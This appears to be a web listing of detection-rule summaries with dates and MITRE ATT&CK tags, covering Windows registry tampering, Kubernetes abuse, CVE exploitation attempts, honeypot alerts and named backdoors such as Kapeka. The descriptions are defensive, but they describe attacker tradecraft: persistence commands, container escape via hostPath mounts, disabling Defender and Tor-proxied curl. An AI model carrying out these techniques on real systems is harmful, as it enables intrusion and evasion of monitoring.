Feb 22, 2025 · attack.command-and-control attack.t1102 ·

Share on:

Detects a non-browser process interacting with the Google API which could indicate the use of a covert C2 such as Google Sheet C2 (GC2-sheet)

Windows Event Log Access Tampering Via Registry

Feb 17, 2025 · attack.t1547.001 attack.t1112 ·

Share on:

Detects changes to the Windows EventLog channel permission values. It focuses on changes to the Security Descriptor Definition Language (SDDL) string, as modifications to these values can restrict access to specific users or groups, potentially aiding in defense evasion by controlling who can view or modify a event log channel. Upon execution, the user shouldn't be able to access the event log channel via the event viewer or via utilities such as "Get-EventLog" or "wevtutil".

Potentially Suspicious WDAC Policy File Creation

Feb 17, 2025 · attack.defense-evasion ·

Share on:

Detects suspicious Windows Defender Application Control (WDAC) policy file creation from abnormal processes that could be abused by attacker to block EDR/AV components while allowing their own malicious code to run on the system.

Kalambur Backdoor Curl TOR SOCKS Proxy Execution

Feb 17, 2025 · attack.command-and-control attack.t1090 attack.t1573 attack.t1071.001 attack.t1059.001 attack.s0183 detection.emerging-threats ·

Share on:

Detects the execution of the "curl.exe" command, referencing "SOCKS" and ".onion" domains, which could be indicative of Kalambur backdoor activity.

AADInternals PowerShell Cmdlets Execution - ProccessCreation

Feb 17, 2025 · attack.execution attack.reconnaissance attack.discovery attack.credential-access attack.impact ·

Share on:

Detects ADDInternals Cmdlet execution. A tool for administering Azure AD and Office 365. Which can be abused by threat actors to attack Azure AD or Office 365.

AADInternals PowerShell Cmdlets Execution - PsScript

Feb 17, 2025 · attack.execution attack.reconnaissance attack.discovery attack.credential-access attack.impact ·

Share on:

Detects ADDInternals Cmdlet execution. A tool for administering Azure AD and Office 365. Which can be abused by threat actors to attack Azure AD or Office 365.

PUA - NimScan Execution

Feb 17, 2025 · attack.discovery attack.t1046 ·

Share on:

Detects usage of NimScan, a portscanner utility. In early 2025, adversaries were observed using this utility to scan for open ports on remote hosts in a compromised environment. This rule identifies the execution of NimScan based on the process image name and specific hash values associated with different versions of the tool.

Schtasks Creation Or Modification With SYSTEM Privileges

Feb 17, 2025 · attack.execution attack.persistence attack.t1053.005 ·

Share on:

Detects the creation or update of a scheduled task to run with "NT AUTHORITY\SYSTEM" privileges

Add Port Monitor Persistence in Registry

Feb 3, 2025 · attack.persistence attack.t1547.010 ·

Share on:

Adversaries may use port monitors to run an attacker supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.

Change Winevt Channel Access Permission Via Registry

Feb 3, 2025 · attack.defense-evasion attack.t1562.002 ·

Share on:

Detects tampering with the "ChannelAccess" registry key in order to change access to Windows event channel.

Container With A hostPath Mount Created

Feb 3, 2025 · attack.t1611 ·

Share on:

Detects creation of a container with a hostPath mount. A hostPath volume mounts a directory or a file from the node to the container. Attackers who have permissions to create a new pod in the cluster may create one with a writable hostPath volume and chroot to escape to the underlying node.

Creation Of Pod In System Namespace

Feb 3, 2025 · attack.t1036.005 ·

Share on:

Detects deployments of pods within the kube-system namespace, which could be intended to imitate system pods. System pods, created by controllers such as Deployments or DaemonSets have random suffixes in their names. Attackers can use this fact and name their backdoor pods as if they were created by these controllers to avoid detection. Deployment of such a backdoor container e.g. named kube-proxy-bv61v, could be attempted in the kube-system namespace alongside the other administrative containers.

CVE-2024-1212 Exploitation - Progress Kemp LoadMaster Unauthenticated Command Injection

Feb 3, 2025 · attack.initial-access cve.2024-1212 detection.emerging-threats ·

Share on:

Detects potential exploitation of CVE-2024-1709 an unauthenticated command injection in Progress Kemp LoadMaster. It looks for GET requests to '/access/set' API with the parameters 'param=enableapi' and 'value=1' as well as an "Authorization" header with a base64 encoded value with an uncommon character.

Deployment Deleted From Kubernetes Cluster

Feb 3, 2025 · attack.t1498 ·

Share on:

Detects the removal of a deployment from a Kubernetes cluster. This could indicate disruptive activity aiming to impact business operations.

Disable Windows Event Logging Via Registry

Feb 3, 2025 · attack.defense-evasion attack.t1562.002 ·

Share on:

Detects tampering with the "Enabled" registry key in order to disable Windows logging of a Windows event channel

Displaying Hidden Files Feature Disabled

Feb 3, 2025 · attack.defense-evasion attack.t1564.001 ·

Share on:

Detects modifications to the "Hidden" and "ShowSuperHidden" explorer registry values in order to disable showing of hidden files and system files. This technique is abused by several malware families to hide their files from normal users.

EVTX Created In Uncommon Location

Feb 3, 2025 · attack.defense-evasion attack.t1562.002 ·

Share on:

Detects the creation of new files with the ".evtx" extension in non-common or non-standard location. This could indicate tampering with default EVTX locations in order to evade security controls or simply exfiltration of event log to search for sensitive information within. Note that backup software and legitimate administrator might perform similar actions during troubleshooting.

Kernel Memory Dump Via LiveKD

Feb 3, 2025 · attack.defense-evasion ·

Share on:

Detects execution of LiveKD with the "-m" flag to potentially dump the kernel memory

Kubernetes Events Deleted

Feb 3, 2025 · attack.t1070 ·

Share on:

Detects when events are deleted in Kubernetes. An adversary may delete Kubernetes events in an attempt to evade detection.

Kubernetes Secrets Enumeration

Feb 3, 2025 · attack.t1552.007 ·

Share on:

Detects enumeration of Kubernetes secrets.

Loaded Module Enumeration Via Tasklist.EXE

Feb 3, 2025 · attack.t1003 ·

Share on:

Detects the enumeration of a specific DLL or EXE being used by a binary via "tasklist.exe". This is often used by attackers in order to find the specific process identifier (PID) that is using the DLL in question. In order to dump the process memory or perform other nefarious actions.

MaxMpxCt Registry Value Changed

Feb 3, 2025 · attack.defense-evasion attack.t1070.005 ·

Share on:

Detects changes to the "MaxMpxCt" registry value. MaxMpxCt specifies the maximum outstanding network requests for the server per client, which is used when negotiating a Server Message Block (SMB) connection with a client. Note if the value is set beyond 125 older Windows 9x clients will fail to negotiate. Ransomware threat actors and operators (specifically BlackCat) were seen increasing this value in order to handle a higher volume of traffic.

New Kubernetes Service Account Created

Feb 3, 2025 · attack.t1136 ·

Share on:

Detects creation of new Kubernetes service account, which could indicate an attacker's attempt to persist within a cluster.

New TimeProviders Registered With Uncommon DLL Name

Feb 3, 2025 · attack.persistence attack.privilege-escalation attack.t1547.003 ·

Share on:

Detects processes setting a new DLL in DllName in under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProvider. Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains.

OpenCanary - FTP Login Attempt

Feb 3, 2025 · attack.initial-access attack.exfiltration attack.t1190 attack.t1021 ·

Share on:

Detects instances where an FTP service on an OpenCanary node has had a login attempt.

OpenCanary - GIT Clone Request

Feb 3, 2025 · attack.collection attack.t1213 ·

Share on:

Detects instances where a GIT service on an OpenCanary node has had Git Clone request.

OpenCanary - HTTP GET Request

Feb 3, 2025 · attack.initial-access attack.t1190 ·

Share on:

Detects instances where an HTTP service on an OpenCanary node has received a GET request.

OpenCanary - HTTP POST Login Attempt

Feb 3, 2025 · attack.initial-access attack.t1190 ·

Share on:

Detects instances where an HTTP service on an OpenCanary node has had login attempt via Form POST.

OpenCanary - HTTPPROXY Login Attempt

Feb 3, 2025 · attack.initial-access attack.defense-evasion attack.t1090 ·

Share on:

Detects instances where an HTTPPROXY service on an OpenCanary node has had an attempt to proxy another page.

OpenCanary - MSSQL Login Attempt Via SQLAuth

Feb 3, 2025 · attack.credential-access attack.collection attack.t1003 attack.t1213 ·

Share on:

Detects instances where an MSSQL service on an OpenCanary node has had a login attempt using SQLAuth.

OpenCanary - MSSQL Login Attempt Via Windows Authentication

Feb 3, 2025 · attack.credential-access attack.collection attack.t1003 attack.t1213 ·

Share on:

Detects instances where an MSSQL service on an OpenCanary node has had a login attempt using Windows Authentication.

OpenCanary - MySQL Login Attempt

Feb 3, 2025 · attack.credential-access attack.collection attack.t1003 attack.t1213 ·

Share on:

Detects instances where a MySQL service on an OpenCanary node has had a login attempt.

OpenCanary - NTP Monlist Request

Feb 3, 2025 · attack.impact attack.t1498 ·

Share on:

Detects instances where an NTP service on an OpenCanary node has had a NTP monlist request.

OpenCanary - REDIS Action Command Attempt

Feb 3, 2025 · attack.credential-access attack.collection attack.t1003 attack.t1213 ·

Share on:

Detects instances where a REDIS service on an OpenCanary node has had an action command attempted.

OpenCanary - SIP Request

Feb 3, 2025 · attack.collection attack.t1123 ·

Share on:

Detects instances where an SIP service on an OpenCanary node has had a SIP request.

OpenCanary - SMB File Open Request

Feb 3, 2025 · attack.lateral-movement attack.collection attack.t1021 attack.t1005 ·

Share on:

Detects instances where an SMB service on an OpenCanary node has had a file open request.

OpenCanary - SNMP OID Request

Feb 3, 2025 · attack.discovery attack.lateral-movement attack.t1016 attack.t1021 ·

Share on:

Detects instances where an SNMP service on an OpenCanary node has had an OID request.

OpenCanary - SSH Login Attempt

Feb 3, 2025 · attack.initial-access attack.lateral-movement attack.persistence attack.t1133 attack.t1021 attack.t1078 ·

Share on:

Detects instances where an SSH service on an OpenCanary node has had a login attempt.

OpenCanary - SSH New Connection Attempt

Feb 3, 2025 · attack.initial-access attack.lateral-movement attack.persistence attack.t1133 attack.t1021 attack.t1078 ·

Share on:

Detects instances where an SSH service on an OpenCanary node has had a connection attempt.

OpenCanary - Telnet Login Attempt

Feb 3, 2025 · attack.initial-access attack.command-and-control attack.t1133 attack.t1078 ·

Share on:

Detects instances where a Telnet service on an OpenCanary node has had a login attempt.

OpenCanary - TFTP Request

Feb 3, 2025 · attack.exfiltration attack.t1041 ·

Share on:

Detects instances where a TFTP service on an OpenCanary node has had a request.

OpenCanary - VNC Connection Attempt

Feb 3, 2025 · attack.lateral-movement attack.t1021 ·

Share on:

Detects instances where a VNC service on an OpenCanary node has had a connection attempt.

Potential KamiKakaBot Activity - Lure Document Execution

Feb 3, 2025 · attack.execution attack.t1059 detection.emerging-threats ·

Share on:

Detects the execution of a Word document via the WinWord Start Menu shortcut. This behavior was observed being used by KamiKakaBot samples in order to initiate the 2nd stage of the infection.

Potential KamiKakaBot Activity - Shutdown Schedule Task Creation

Feb 3, 2025 · attack.persistence detection.emerging-threats ·

Share on:

Detects the creation of a schedule task that runs weekly and execute the "shutdown /l /f" command. This behavior was observed being used by KamiKakaBot samples in order to achieve persistence on a system.

Potential KamiKakaBot Activity - Winlogon Shell Persistence

Feb 3, 2025 · attack.persistence attack.t1547.001 detection.emerging-threats ·

Share on:

Detects changes to the "Winlogon" registry key where a process will set the value of the "Shell" to a value that was observed being used by KamiKakaBot samples in order to achieve persistence.

Potential Remote Command Execution In Pod Container

Feb 3, 2025 · attack.t1609 ·

Share on:

Detects attempts to execute remote commands, within a Pod's container using e.g. the "kubectl exec" command.

Potential Sidecar Injection Into Running Deployment

Feb 3, 2025 · attack.t1609 ·

Share on:

Detects attempts to inject a sidecar container into a running deployment. A sidecar container is an additional container within a pod, that resides alongside the main container. One way to add containers to running resources like Deployments/DeamonSets/StatefulSets, is via a "kubectl patch" operation. By injecting a new container within a legitimate pod, an attacker can run their code and hide their activity, instead of running their own separated pod in the cluster.

Potentially Suspicious CMD Shell Output Redirect

Feb 3, 2025 · attack.defense-evasion attack.t1218 ·

Share on:

Detects inline Windows shell commands redirecting output via the ">" symbol to a suspicious location. This technique is sometimes used by malicious actors in order to redirect the output of reconnaissance commands such as "hostname" and "dir" to files for future exfiltration.

Privileged Container Deployed

Feb 3, 2025 · attack.t1611 ·

Share on:

Detects the creation of a "privileged" container, an action which could be indicative of a threat actor mounting a container breakout attacks. A privileged container is a container that can access the host with all of the root capabilities of the host machine. This allows it to view, interact and modify processes, network operations, IPC calls, the file system, mount points, SELinux configurations etc. as the root user on the host. Various versions of "privileged" containers can be specified, e.g. by setting the securityContext.privileged flag in the resource specification, setting non-standard Linux capabilities, or configuring the hostNetwork/hostPID fields

RBAC Permission Enumeration Attempt

Feb 3, 2025 · attack.t1069.003 attack.t1087.004 ·

Share on:

Detects identities attempting to enumerate their Kubernetes RBAC permissions. In the early stages of a breach, attackers will aim to list the permissions they have within the compromised environment. In a Kubernetes cluster, this can be achieved by interacting with the API server, and querying the SelfSubjectAccessReview API via e.g. a "kubectl auth can-i --list" command. This will enumerate the Role-Based Access Controls (RBAC) rules defining the compromised user's authorization.

Register New IFiltre For Persistence

Feb 3, 2025 · attack.persistence ·

Share on:

Detects when an attacker registers a new IFilter for an extension. Microsoft Windows Search uses filters to extract the content of items for inclusion in a full-text index. You can extend Windows Search to index new or proprietary file types by writing filters to extract the content, and property handlers to extract the properties of files.

Registry Persistence via Service in Safe Mode

Feb 3, 2025 · attack.defense-evasion attack.t1564.001 ·

Share on:

Detects the modification of the registry to allow a driver or service to persist in Safe Mode.

Remote Access Tool - Team Viewer Session Started On Linux Host

Feb 3, 2025 · attack.initial-access attack.t1133 ·

Share on:

Detects the command line executed when TeamViewer starts a session started by a remote host. Once a connection has been started, an investigator can verify the connection details by viewing the "incoming_connections.txt" log file in the TeamViewer folder.

Remote Access Tool - Team Viewer Session Started On MacOS Host

Feb 3, 2025 · attack.initial-access attack.t1133 ·

Share on:

Detects the command line executed when TeamViewer starts a session started by a remote host. Once a connection has been started, an investigator can verify the connection details by viewing the "incoming_connections.txt" log file in the TeamViewer folder.

Remote Access Tool - Team Viewer Session Started On Windows Host

Feb 3, 2025 · attack.initial-access attack.t1133 ·

Share on:

Detects the command line executed when TeamViewer starts a session started by a remote host. Once a connection has been started, an investigator can verify the connection details by viewing the "incoming_connections.txt" log file in the TeamViewer folder.

Renamed NirCmd.EXE Execution

Feb 3, 2025 · attack.execution attack.t1059 attack.defense-evasion attack.t1202 ·

Share on:

Detects the execution of a renamed "NirCmd.exe" binary based on the PE metadata fields.

Rundll32 Execution With Uncommon DLL Extension

Feb 3, 2025 · attack.defense-evasion attack.t1218.011 ·

Share on:

Detects the execution of rundll32 with a command line that doesn't contain a common extension

ServiceDll Hijack

Feb 3, 2025 · attack.persistence attack.privilege-escalation attack.t1543.003 ·

Share on:

Detects changes to the "ServiceDLL" value related to a service in the registry. This is often used as a method of persistence.

Suspicious Command Patterns In Scheduled Task Creation

Feb 3, 2025 · attack.execution attack.t1053.005 ·

Share on:

Detects scheduled task creation using "schtasks" that contain potentially suspicious or uncommon commands

Suspicious Network Connection to IP Lookup Service APIs

Feb 3, 2025 · attack.discovery attack.t1016 ·

Share on:

Detects external IP address lookups by non-browser processes via services such as "api.ipify.org". This could be indicative of potential post compromise internet test activity.

Suspicious Response File Execution Via Odbcconf.EXE

Feb 3, 2025 · attack.defense-evasion attack.t1218.008 ·

Share on:

Detects execution of "odbcconf" with the "-f" flag in order to load a response file with a non-".rsp" extension.

Sysmon Driver Altitude Change

Feb 3, 2025 · attack.defense-evasion attack.t1562.001 ·

Share on:

Detects changes in Sysmon driver altitude value. If the Sysmon driver is configured to load at an altitude of another registered service, it will fail to load at boot.

Windows Defender Service Disabled - Registry

Feb 3, 2025 · attack.defense-evasion attack.t1562.001 ·

Share on:

Detects when an attacker or tool disables the Windows Defender service (WinDefend) via the registry

WCE wceaux.dll Access

Jan 31, 2025 · attack.credential-access attack.t1003 attack.s0005 ·

Share on:

Detects wceaux.dll access while WCE pass-the-hash remote command execution on source host

CVE-2023-1389 Potential Exploitation Attempt - Unauthenticated Command Injection In TP-Link Archer AX21

Jan 30, 2025 · attack.initial-access attack.t1190 cve.2023-1389 detection.emerging-threats ·

Share on:

Detects potential exploitation attempt of CVE-2023-1389 an Unauthenticated Command Injection in TP-Link Archer AX21.

CVE-2023-22518 Exploitation Attempt - Suspicious Confluence Child Process (Linux)

Jan 30, 2025 · attack.execution attack.t1059 attack.initial-access attack.t1190 cve.2023-22518 detection.emerging-threats ·

Share on:

Detects exploitation attempt of CVE-2023-22518 (Confluence Data Center / Confluence Server), where an attacker can exploit vulnerable endpoints to e.g. create admin accounts and execute arbitrary commands.

CVE-2023-22518 Exploitation Attempt - Suspicious Confluence Child Process (Windows)

Jan 30, 2025 · attack.execution attack.t1059 attack.initial-access attack.t1190 cve.2023-22518 detection.emerging-threats ·

Share on:

Detects exploitation attempt of CVE-2023-22518 (Confluence Data Center / Confluence Server), where an attacker can exploit vulnerable endpoints to e.g. create admin accounts and execute arbitrary commands.

CVE-2023-22518 Exploitation Attempt - Vulnerable Endpoint Connection (Proxy)

Jan 30, 2025 · attack.initial-access attack.t1190 cve.2023-22518 detection.emerging-threats ·

Share on:

Detects exploitation attempt of CVE-2023-22518 (Confluence Data Center / Confluence Server), where an attacker can exploit vulnerable endpoints to e.g. create admin accounts and execute arbitrary commands.

CVE-2023-22518 Exploitation Attempt - Vulnerable Endpoint Connection (Webserver)

Jan 30, 2025 · attack.initial-access attack.t1190 cve.2023-22518 detection.emerging-threats ·

Share on:

Detects exploitation attempt of CVE-2023-22518 (Confluence Data Center / Confluence Server), where an attacker can exploit vulnerable endpoints to e.g. create admin accounts and execute arbitrary commands.

CVE-2023-46747 Exploitation Activity - Proxy

Jan 30, 2025 · attack.initial-access attack.t1190 cve.2023-46747 detection.emerging-threats ·

Share on:

Detects exploitation activity of CVE-2023-46747 an unauthenticated remote code execution vulnerability in F5 BIG-IP.

CVE-2023-46747 Exploitation Activity - Webserver

Jan 30, 2025 · attack.initial-access attack.t1190 cve.2023-46747 detection.emerging-threats ·

Share on:

Detects exploitation activity of CVE-2023-46747 an unauthenticated remote code execution vulnerability in F5 BIG-IP.

CVE-2023-4966 Exploitation Attempt - Citrix ADC Sensitive Information Disclosure - Proxy

Jan 30, 2025 · attack.initial-access attack.t1190 cve.2023-4966 detection.emerging-threats ·

Share on:

Detects exploitation attempt of CVE-2023-4966 a Citrix ADC and NetScaler Gateway sensitive information disclosure vulnerability via proxy logs by looking for a very long host header string.

CVE-2023-4966 Exploitation Attempt - Citrix ADC Sensitive Information Disclosure - Webserver

Jan 30, 2025 · attack.initial-access attack.t1190 cve.2023-4966 detection.emerging-threats ·

Share on:

Detects exploitation attempt of CVE-2023-4966 a Citrix ADC and NetScaler Gateway sensitive information disclosure vulnerability via webserver logs by looking for a very long host header string.

CVE-2023-4966 Potential Exploitation Attempt - Citrix ADC Sensitive Information Disclosure - Proxy

Jan 30, 2025 · attack.initial-access attack.t1190 cve.2023-4966 detection.emerging-threats ·

Share on:

Detects potential exploitation attempt of CVE-2023-4966 a Citrix ADC and NetScaler Gateway sensitive information disclosure vulnerability via proxy logs.

CVE-2023-4966 Potential Exploitation Attempt - Citrix ADC Sensitive Information Disclosure - Webserver

Jan 30, 2025 · attack.initial-access attack.t1190 cve.2023-4966 detection.emerging-threats ·

Share on:

Detects potential exploitation attempt of CVE-2023-4966 a Citrix ADC and NetScaler Gateway sensitive information disclosure vulnerability via webserver logs.

CVE-2024-1708 - ScreenConnect Path Traversal Exploitation

Jan 30, 2025 · attack.persistence cve.2024-1708 detection.emerging-threats ·

Share on:

This detects file modifications to ASPX and ASHX files within the root of the App_Extensions directory, which is allowed by a ZipSlip vulnerability in versions prior to 23.9.8. This occurs during exploitation of CVE-2024-1708.

CVE-2024-1708 - ScreenConnect Path Traversal Exploitation - Security

Jan 30, 2025 · attack.initial-access attack.persistence cve.2024-1708 detection.emerging-threats ·

Share on:

This detects file modifications to ASPX and ASHX files within the root of the App_Extensions directory, which is allowed by a ZipSlip vulnerability in versions prior to 23.9.8. This occurs during exploitation of CVE-2024-1708. This requires an Advanced Auditing policy to log a successful Windows Event ID 4663 events and with a SACL set on the directory.

CVE-2024-1709 - ScreenConnect Authentication Bypass Exploitation

Jan 30, 2025 · attack.initial-access attack.persistence cve.2024-1709 detection.emerging-threats ·

Share on:

Detects GET requests to '/SetupWizard.aspx/[anythinghere]' that indicate exploitation of the ScreenConnect vulnerability CVE-2024-1709.

CVE-2024-50623 Exploitation Attempt - Cleo

Jan 30, 2025 · attack.execution attack.t1190 cve.2024-50623 detection.emerging-threats ·

Share on:

Detects exploitation attempt of Cleo's CVE-2024-50623 by looking for a "cmd.exe" process spawning from the Celo software suite with suspicious Powershell commandline.

DLL Names Used By SVR For GraphicalProton Backdoor

Jan 30, 2025 · attack.defense-evasion attack.t1574.002 detection.emerging-threats ·

Share on:

Hunts known SVR-specific DLL names.

Exploitation Attempt Of CVE-2023-46214 Using Public POC Code

Jan 30, 2025 · attack.lateral-movement attack.t1210 cve.2023-46214 detection.emerging-threats ·

Share on:

Detects exploitation attempt of CVE-2023-46214, a remote code execution (RCE) in Splunk Enterprise through insecure XML parsing using known public proof of concept code

File Creation Related To RAT Clients

Jan 30, 2025 · attack.execution detection.emerging-threats ·

Share on:

File .conf created related to VenomRAT, AsyncRAT and Lummac samples observed in the wild.

Forest Blizzard APT - File Creation Activity

Jan 30, 2025 · attack.defense-evasion attack.t1562.002 detection.emerging-threats ·

Share on:

Detects the creation of specific files inside of ProgramData directory. These files were seen being created by Forest Blizzard as described by MSFT.

Forest Blizzard APT - Process Creation Activity

Jan 30, 2025 · attack.defense-evasion attack.execution detection.emerging-threats ·

Share on:

Detects the execution of specific processes and command line combination. These were seen being created by Forest Blizzard as described by MSFT.

Kapeka Backdoor Autorun Persistence

Jan 30, 2025 · attack.persistence attack.t1547.001 detection.emerging-threats ·

Share on:

Detects the setting of a new value in the Autorun key that is used by the Kapeka backdoor for persistence.

Kapeka Backdoor Configuration Persistence

Jan 30, 2025 · attack.persistence attack.defense-evasion attack.t1553.003 detection.emerging-threats ·

Share on:

Detects registry set activity of a value called "Seed" stored in the "\Cryptography\Providers" registry key. The Kapeka backdoor leverages this location to register a new SIP provider for backdoor configuration persistence.

Kapeka Backdoor Execution Via RunDLL32.EXE

Jan 30, 2025 · attack.defense-evasion attack.t1218.011 detection.emerging-threats ·

Share on:

Detects Kapeka backdoor process execution pattern, where the dropper launch the backdoor binary by calling rundll32 and passing the backdoor's first export ordinal (#1) with a "-d" argument.

Kapeka Backdoor Loaded Via Rundll32.EXE

Jan 30, 2025 · attack.execution attack.t1204.002 attack.defense-evasion attack.t1218.011 detection.emerging-threats ·

Share on:

Detects the Kapeka Backdoor binary being loaded by rundll32.exe. The Kapeka loader drops a backdoor, which is a DLL with the '.wll' extension masquerading as a Microsoft Word Add-In.

Kapeka Backdoor Persistence Activity

Jan 30, 2025 · attack.persistence attack.t1053.005 detection.emerging-threats ·

Share on:

Detects Kapeka backdoor persistence activity. Depending on the process privileges, the Kapeka dropper then sets persistence for the backdoor either as a scheduled task (if admin or SYSTEM) or autorun registry (if not). For the scheduled task, it creates a scheduled task called "Sens Api" via schtasks command, which is set to run upon system startup as SYSTEM. To establish persistence through the autorun utility, it adds an autorun entry called "Sens Api" under HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run via the "reg add" command. Both persistence mechanisms are set to launch the binary by calling rundll32 and passing the backdoor's first export ordinal (#1) without any additional argument.

Kapeka Backdoor Scheduled Task Creation

Jan 30, 2025 · attack.execution attack.privilege-escalation attack.persistence attack.t1053.005 detection.emerging-threats ·

Share on:

Detects Kapeka backdoor scheduled task creation based on attributes such as paths, commands line flags, etc.

Lummac Stealer Activity - Execution Of More.com And Vbc.exe

Jan 30, 2025 · attack.defense-evasion attack.t1055 detection.emerging-threats ·

Share on:

Detects the execution of more.com and vbc.exe in the process tree. This behavior was observed by a set of samples related to Lummac Stealer. The Lummac payload is injected into the vbc.exe process.

MOVEit CVE-2023-34362 Exploitation Attempt - Potential Web Shell Request

Jan 30, 2025 · attack.persistence attack.t1505.003 cve.2023-34362 detection.emerging-threats ·

Share on:

Detects get requests to specific files used during the exploitation of MOVEit CVE-2023-34362

OWASSRF Exploitation Attempt Using Public POC - Proxy

Jan 30, 2025 · attack.initial-access attack.t1190 detection.emerging-threats ·

Share on:

Detects exploitation attempt of the OWASSRF variant targeting exchange servers using publicly available POC. It uses the OWA endpoint to access the powershell backend endpoint

Pikabot Fake DLL Extension Execution Via Rundll32.EXE

Jan 30, 2025 · attack.defense-evasion attack.execution detection.emerging-threats ·

Share on:

Detects specific process tree behavior linked to "rundll32" executions, wherein the associated DLL lacks a common ".dll" extension, often signaling potential Pikabot activity.

Potential BlackByte Ransomware Activity

Jan 30, 2025 · attack.execution attack.defense-evasion attack.impact attack.t1485 attack.t1498 attack.t1059.001 attack.t1140 detection.emerging-threats ·

Share on:

Detects command line patterns used by BlackByte ransomware in different operations

Potential CSharp Streamer RAT Loading .NET Executable Image

Jan 30, 2025 · attack.command-and-control attack.t1219 detection.emerging-threats ·

Share on:

Detects potential CSharp Streamer RAT loading .NET executable image by using the default file name and path associated with the tool.

Potential CVE-2023-27997 Exploitation Indicators

Jan 30, 2025 · attack.initial-access attack.t1190 cve.2023-27997 detection.emerging-threats ·

Share on:

Detects indicators of potential exploitation of CVE-2023-27997 in Frotigate weblogs. To avoid false positives it is best to look for successive requests to the endpoints mentioned as well as weird values of the "enc" parameter

Potential Exploitation Attempt Of Undocumented WindowsServer RCE

Jan 30, 2025 · attack.initial-access attack.t1190 detection.emerging-threats ·

Share on:

Detects potential exploitation attempt of undocumented Windows Server Pre Auth Remote Code Execution (RCE)

Potential Exploitation of CVE-2024-3094 - Suspicious SSH Child Process

Jan 30, 2025 · attack.execution cve.2024-3094 detection.emerging-threats ·

Share on:

Detects potentially suspicious child process of SSH process (sshd) with a specific execution user. This could be a sign of potential exploitation of CVE-2024-3094.

Potential Kapeka Decrypted Backdoor Indicator

Jan 30, 2025 · attack.defense-evasion detection.emerging-threats ·

Share on:

Detects the presence of a file that is decrypted backdoor binary dropped by the Kapeka Dropper, which disguises itself as a hidden file under a folder named "Microsoft" within "CSIDL_COMMON_APPDATA" or "CSIDL_LOCAL_APPDATA", depending on the process privileges. The file, typically 5-6 characters long with a random combination of consonants and vowels followed by a ".wll" extension to pose as a legitimate file to evade detection.

Potential OWASSRF Exploitation Attempt - Proxy

Jan 30, 2025 · attack.initial-access attack.t1190 detection.emerging-threats ·

Share on:

Detects exploitation attempt of the OWASSRF variant targeting exchange servers It uses the OWA endpoint to access the powershell backend endpoint

Potential Raspberry Robin Aclui Dll SideLoading

Jan 30, 2025 · attack.defense-evasion attack.privilege-escalation attack.t1574.001 attack.t1574.002 detection.emerging-threats ·

Share on:

Detects potential sideloading of malicious "aclui.dll" by OleView.This behavior was observed in Raspberry-Robin variants reported by chekpoint research on Feburary 2024.

Potential Raspberry Robin CPL Execution Activity

Jan 30, 2025 · attack.defense-evasion attack.execution attack.t1218.011 detection.emerging-threats ·

Share on:

Detects the execution of a ".CPL" file located in the user temp directory via the Shell32 DLL "Control_RunDLL" export function. This behavior was observed in multiple Raspberry-Robin variants.

Potential Raspberry Robin Registry Set Internet Settings ZoneMap

Jan 30, 2025 · attack.t1112 attack.defense-evasion detection.emerging-threats ·

Share on:

Detects registry modifications related to the proxy configuration of the system, potentially associated with the Raspberry Robin malware, as seen in campaigns running in Q1 2024. Raspberry Robin may alter proxy settings to circumvent security measures, ensuring unhindered connection with Command and Control servers for maintaining control over compromised systems if there are any proxy settings that are blocking connections.

Qakbot Uninstaller Execution

Jan 30, 2025 · attack.execution detection.emerging-threats ·

Share on:

Detects the execution of the Qakbot uninstaller file mentioned in the USAO-CDCA document on the disruption of the Qakbot malware and botnet

Scheduled Tasks Names Used By SVR For GraphicalProton Backdoor

Jan 30, 2025 · attack.persistence detection.emerging-threats ·

Share on:

Hunts for known SVR-specific scheduled task names

Scheduled Tasks Names Used By SVR For GraphicalProton Backdoor - Task Scheduler

Jan 30, 2025 · attack.persistence detection.emerging-threats ·

Share on:

Hunts for known SVR-specific scheduled task names

ScreenConnect - SlashAndGrab Exploitation Indicators

Jan 30, 2025 · attack.defense-evasion detection.emerging-threats ·

Share on:

Detects indicators of exploitation by threat actors during exploitation of the "SlashAndGrab" vulnerability related to ScreenConnect as reported Team Huntress

ScreenConnect User Database Modification

Jan 30, 2025 · attack.persistence cve.2024-1709 detection.emerging-threats ·

Share on:

Detects file modifications to the temporary xml user database file indicating local user modification in the ScreenConnect server. This will occur during exploitation of the ScreenConnect Authentication Bypass vulnerability (CVE-2024-1709) in versions <23.9.8, but may also be observed when making legitimate modifications to local users or permissions.

ScreenConnect User Database Modification - Security

Jan 30, 2025 · attack.defense-evasion cve.2024-1709 detection.emerging-threats ·

Share on:

This detects file modifications to the temporary xml user database file indicating local user modification in the ScreenConnect server. This will occur during exploitation of the ScreenConnect Authentication Bypass vulnerability (CVE-2024-1709) in versions <23.9.8, but may also be observed when making legitimate modifications to local users or permissions. This requires an Advanced Auditing policy to log a successful Windows Event ID 4663 events and with a SACL set on the directory.

Suspicious Computer Account Name Change CVE-2021-42287

Jan 30, 2025 · attack.defense-evasion attack.persistence attack.t1036 attack.t1098 cve.2021-42287 detection.emerging-threats ·

Share on:

Detects the renaming of an existing computer account to a account name that doesn't contain a $ symbol as seen in attacks against CVE-2021-42287

Suspicious Set Value of MSDT in Registry (CVE-2022-30190)

Jan 30, 2025 · attack.defense-evasion attack.t1221 detection.emerging-threats ·

Share on:

Detects set value ms-msdt MSProtocol URI scheme in Registry that could be an attempt to exploit CVE-2022-30190.

Failed Code Integrity Checks

Jan 30, 2025 · attack.defense-evasion attack.t1027.001 ·

Share on:

Detects code integrity failures such as missing page hashes or corrupted drivers due unauthorized modification. This could be a sign of tampered binaries.

Renamed Powershell Under Powershell Channel

Jan 30, 2025 · attack.execution attack.t1059.001 attack.t1036.003 ·

Share on:

Detects a renamed Powershell execution, which is a common technique used to circumvent security controls and bypass detection logic that's dependent on process names and process paths.

Suspicious Binaries and Scripts in Public Folder

Jan 30, 2025 · attack.execution attack.t1204 ·

Share on:

Detects the creation of a file with a suspicious extension in the public folder, which could indicate potential malicious activity.

Using explorer.exe to open a file explorer folder via command prompt

Jan 29, 2025 · attack.Discovery attack.T1135 ·

Share on:

Detects the initial execution of cmd.exe which spawns explorer.exe with the appropriate command line arguments for opening the My Computer folder.

Privileged User Has Been Created

Jan 22, 2025 · attack.persistence attack.t1136.001 attack.t1098 ·

Share on:

Detects the addition of a new user to a privileged group such as "root" or "sudo"

HackTool - Dumpert Process Dumper Execution

